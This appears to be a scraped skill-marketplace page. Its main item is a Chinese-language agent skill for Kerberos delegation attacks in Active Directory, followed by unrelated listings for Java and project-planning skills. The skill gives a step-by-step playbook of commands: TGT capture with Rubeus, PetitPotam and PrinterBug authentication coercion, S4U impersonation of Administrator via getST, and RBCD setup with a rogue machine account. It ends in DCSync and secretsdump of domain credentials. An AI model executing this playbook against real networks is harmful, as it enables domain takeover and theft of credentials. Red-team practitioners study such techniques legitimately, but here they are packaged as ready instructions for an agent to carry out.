007
無料Security audit, hardening, threat modeling (STRIDE/PASTA), Red/Blue Team, OWASP checks, code review, incident response, and infrastructure security for any project.
日本語の概要は準備中です。原文の説明を表示しています。
Kerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
インストールする前に、エージェントに与えられる指示の中身を確認できます。
在以下场景使用本技能:
| 类型 | 关键标志/属性 | 攻击方式 |
|---|---|---|
| 非约束委派 | TRUSTED_FOR_DELEGATION (UAC 524288) | 捕获访问者 TGT |
| 约束委派 (有协议转换) | msDS-AllowedToDelegateTo + TRUSTED_TO_AUTH_FOR_DELEGATION | S4U2Self + S4U2Proxy |
| 约束委派 (无协议转换) | msDS-AllowedToDelegateTo | 需用户先认证或结合 RBCD |
| RBCD | msDS-AllowedToActOnBehalfOfOtherIdentity | 配置后 S4U 攻击 |
[开始] 需要利用 Kerberos 委派
│
├─ 已知委派配置?
│ ├─ 否 → Phase 1: 委派枚举
│ └─ 是 → 判断类型
│
├─ 非约束委派 (Unconstrained)
│ ├─ 已控制该机器?
│ │ ├─ 是 → Phase 2: 监听 TGT + 强制认证
│ │ └─ 否 → 需先取得机器控制权
│ └─ 捕获 DC TGT → DCSync / 横向移动
│
├─ 约束委派 (Constrained)
│ ├─ 有协议转换 (TrustedToAuthForDelegation)?
│ │ ├─ 是 → Phase 3: S4U2Self + S4U2Proxy 直接利用
│ │ └─ 否 → 需用户票据或结合 RBCD
│ ├─ 目标服务非 cifs/ldap → altservice 技巧改写 SPN
│ └─ 获取 ST → 访问目标服务
│
├─ RBCD
│ ├─ 对目标有写权限?
│ │ ├─ 是 → Phase 4: RBCD 攻击
│ │ └─ 否 → 寻找 ACL 路径
│ ├─ MAQ > 0 或已有机器账号 → 创建/使用机器账号
│ └─ 配置 → S4U → 访问 → 清理
│
└─ 无委派可利用 → 检查 ACL,考虑其他路径
目标: 发现域内所有委派配置
# findDelegation.py (推荐,一次发现所有类型)
findDelegation.py <DOMAIN>/<USER>:<PASSWORD> -dc-ip <DC_IP>
输出示例:
AccountName AccountType DelegationType DelegationRightsTo
------------ ----------- ---------------------------------- --------------------------
DC01$ Computer Unconstrained N/A
SVC_SQL User Constrained w/ Protocol Transition MSSQLSvc/db01.domain.local
WEB01$ Computer Constrained http/app01.domain.local
# 非约束委派 (排除 DC)
(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288)(!(primaryGroupID=516)))
# 约束委派
(&(objectCategory=*)(msDS-AllowedToDelegateTo=*))
# RBCD
(&(objectCategory=computer)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))
# 非约束委派 (排除 DC)
Get-DomainComputer -Unconstrained | Where-Object {$_.name -notlike "*DC*"}
# 约束委派
Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | Select-Object name, msds-allowedtodelegateto
MATCH (c:Computer {unconstraineddelegation:true}) WHERE NOT c.name STARTS WITH 'DC' RETURN c.name
MATCH (u)-[:AllowedToDelegate]->(c:Computer) RETURN u.name, c.name
MATCH p=(u)-[:GenericWrite|GenericAll|WriteDacl]->(c:Computer) RETURN p
前提: 已控制一台非 DC 的 TRUSTED_FOR_DELEGATION 机器
原理: 用户访问时 KDC 在 ST 中嵌入 TGT,服务器缓存到 LSASS。提取即可冒充。
→ references/unconstrained-delegation.md
Rubeus.exe monitor /interval:10 /nowrap
Rubeus.exe monitor /interval:5 /nowrap /filteruser:DC01$
# Coercer (集成多种方法)
coercer coerce -u <USER> -p <PASSWORD> -d <DOMAIN> -l <UNCONSTRAINED_MACHINE> -t <DC_IP>
# PetitPotam (MS-EFSRPC)
PetitPotam.py <UNCONSTRAINED_MACHINE> <DC_IP>
# PrinterBug (MS-RPRN)
SpoolSample.exe <DC_HOSTNAME> <UNCONSTRAINED_MACHINE>
# 导入票据并 DCSync
Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:<DOMAIN> /username:<USER> /password:FakePass /ticket:<BASE64_TGT>
steal_token <PID>
dcsync <DOMAIN> <DOMAIN>\krbtgt
# Linux
export KRB5CCNAME=dc01.ccache
secretsdump.py -k -no-pass '<DOMAIN>/DC01$@dc01.<DOMAIN>'
前提: 控制约束委派服务账号/机器账号的凭据
→ references/constrained-delegation.md
# getST.py
getST.py -spn cifs/<TARGET_FQDN> -impersonate Administrator \
<DOMAIN>/<SERVICE_ACCOUNT>:<PASSWORD>
# 使用 Hash
getST.py -spn cifs/<TARGET_FQDN> -impersonate Administrator \
-hashes :<NT_HASH> <DOMAIN>/<SERVICE_ACCOUNT>
# 使用票据
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass <TARGET_FQDN>
# Rubeus
Rubeus.exe s4u /user:<SERVICE_ACCOUNT> /rc4:<NT_HASH> /impersonateuser:Administrator /msdsspn:cifs/<TARGET_FQDN> /ptt
ST 中的 sname 未签名保护,可改写为同主机的其他服务:
# 原目标 time/dc01 → 改为 ldap 用于 DCSync
getST.py -spn time/<DC_FQDN> -impersonate Administrator \
-altservice cifs/<DC_FQDN> <DOMAIN>/<SERVICE_ACCOUNT>:<PASSWORD>
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:time/<DC_FQDN> /altservice:ldap /user:<SERVICE_ACCOUNT> /ticket:<BASE64_TGT> /nowrap
S4U2Self 票据不可转发,需额外手段:
# 方法 1: 结合 RBCD (在服务账号自身配置)
rbcd.py -delegate-from '<SERVICE_ACCOUNT>' -delegate-to '<SERVICE_ACCOUNT>$' \
-action write <DOMAIN>/<USER>:<PASSWORD>
getST.py -spn cifs/<TARGET_FQDN> -impersonate Administrator \
<DOMAIN>/<SERVICE_ACCOUNT>:<PASSWORD>
# 方法 2: 捕获用户可转发票据后 S4U2Proxy
Rubeus.exe monitor /interval:5 /filteruser:Administrator
Rubeus.exe s4u /ticket:<CAPTURED_TGT> /msdsspn:cifs/<TARGET_FQDN> /ptt
前提: 对目标有 GenericWrite/GenericAll/WriteDacl + 可创建或已有机器账号
# 检查 MAQ
crackmapexec ldap <DC_IP> -u <USER> -p <PASSWORD> -M maq
# 检查 ACL
Get-DomainObjectAcl -Identity "<TARGET>" -ResolveGUIDs | Where-Object {
$_.ActiveDirectoryRights -match "GenericWrite|GenericAll|WriteDacl"
}
addcomputer.py -computer-name 'YOURPC$' -computer-pass 'P@ssw0rd123' \
-dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD>
rbcd.py -delegate-from 'YOURPC$' -delegate-to '<TARGET>$' -action write \
-dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD>
getST.py -spn cifs/<TARGET_FQDN> -impersonate Administrator \
-dc-ip <DC_IP> <DOMAIN>/'YOURPC$':'P@ssw0rd123'
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass <TARGET_FQDN>
Rubeus.exe hash /password:P@ssw0rd123 /user:YOURPC$ /domain:<DOMAIN>
Rubeus.exe s4u /user:YOURPC$ /rc4:<COMPUTED_HASH> /impersonateuser:Administrator /msdsspn:cifs/<TARGET_FQDN> /ptt
rbcd.py -delegate-to '<TARGET>$' -action flush -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD>
addcomputer.py -computer-name 'YOURPC$' -delete -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASSWORD>
Get-DomainComputer -Identity <TARGET> | Set-DomainObject -Clear msDS-AllowedToActOnBehalfOfOtherIdentity
ms-DS-MachineAccountQuota (默认 10)HOST/YOURPC 自动注册)rbcd.py -action read 验证属性写入| 工具 | 用途 | 平台 |
|---|---|---|
| findDelegation.py | 枚举所有委派配置 | Linux |
| getST.py | S4U 攻击获取服务票据 | Linux |
| rbcd.py | 配置/读取/清除 RBCD | Linux |
| addcomputer.py | 创建/删除机器账号 | Linux |
| Rubeus | Kerberos 票据操作 | Windows |
| Coercer | 强制认证 (集成多种方法) | Linux |
| PetitPotam | MS-EFSRPC 强制认证 | 跨平台 |
まだレビューはありません。使ってみた感想をお寄せください。
概要と使いどころ
Security audit, hardening, threat modeling (STRIDE/PASTA), Red/Blue Team, OWASP checks, code review, incident response, and infrastructure security for any project.
日本語の概要は準備中です。原文の説明を表示しています。
Guides the creation of agile user stories and Gherkin feature files. Use when the user wants to create a user story, write acceptance criteria, define Gherkin scenarios, or author BDD feature files. This should trigger for requests such as Create a user story; Write a user story; I need to write a user story. Part of cursor-rules-java project
日本語の概要は準備中です。原文の説明を表示しています。
Facilitates conversational discovery to create Architectural Decision Records (ADRs) for non-functional requirements using the ISO/IEC 25010:2023 quality model. Use when the user wants to document quality attributes, NFR decisions, security/performance/scalability architecture, or design systems with measurable quality criteria. This should trigger for requests such as Create ADR for Non-functional requirements; Document Non-functional requirements; Capture Non-functional requirements; Generate Non-functional requirements in an ADR. Part of cursor-rules-java project
日本語の概要は準備中です。原文の説明を表示しています。
Run a health check on an existing project: dependency audit, security scan, test runner detection, CI/CD evaluation, and missing configuration analysis. Maps the three execution gates (pre/in/post) from /10x-bootstrapper to an assessment framework for existing codebases. Reads optional context/foundation/stack-assessment.md from /10x-stack-assess to focus checks on identified gaps. Writes context/foundation/health-check.md with findings, prioritized fixes, and an agent-readiness verdict. Use when the user has an existing project and wants to verify its health before working with an agent. Trigger phrases: "health check", "check my project", "audit my project", "is my project healthy", "sprawdź projekt", "audyt projektu", "health-check", "project health". Use AFTER /10x-stack-assess (brownfield chain), BEFORE agent onboarding (m1-l4).
日本語の概要は準備中です。原文の説明を表示しています。
You MUST use this when building projects end-to-end. Orchestrates all 12 team roles — automatically switches between CTO, architect, PM, engineers, SRE, security, DBA, QA, and EM based on the current phase of work. Starts with brainstorming before any implementation.
日本語の概要は準備中です。原文の説明を表示しています。
Use when you need to add or configure Maven plugins in your pom.xml — including quality tools (enforcer, surefire, failsafe, jacoco, pitest, spotbugs, pmd), security scanning (OWASP), code formatting (Spotless), version management, container image build (Jib), build information tracking, and benchmarking (JMH) — through a consultative, modular step-by-step approach that only adds what you actually need. This should trigger for requests such as Add Maven plugins in pom.xml; Improve Maven plugins in pom.xml. Part of cursor-rules-java project
日本語の概要は準備中です。原文の説明を表示しています。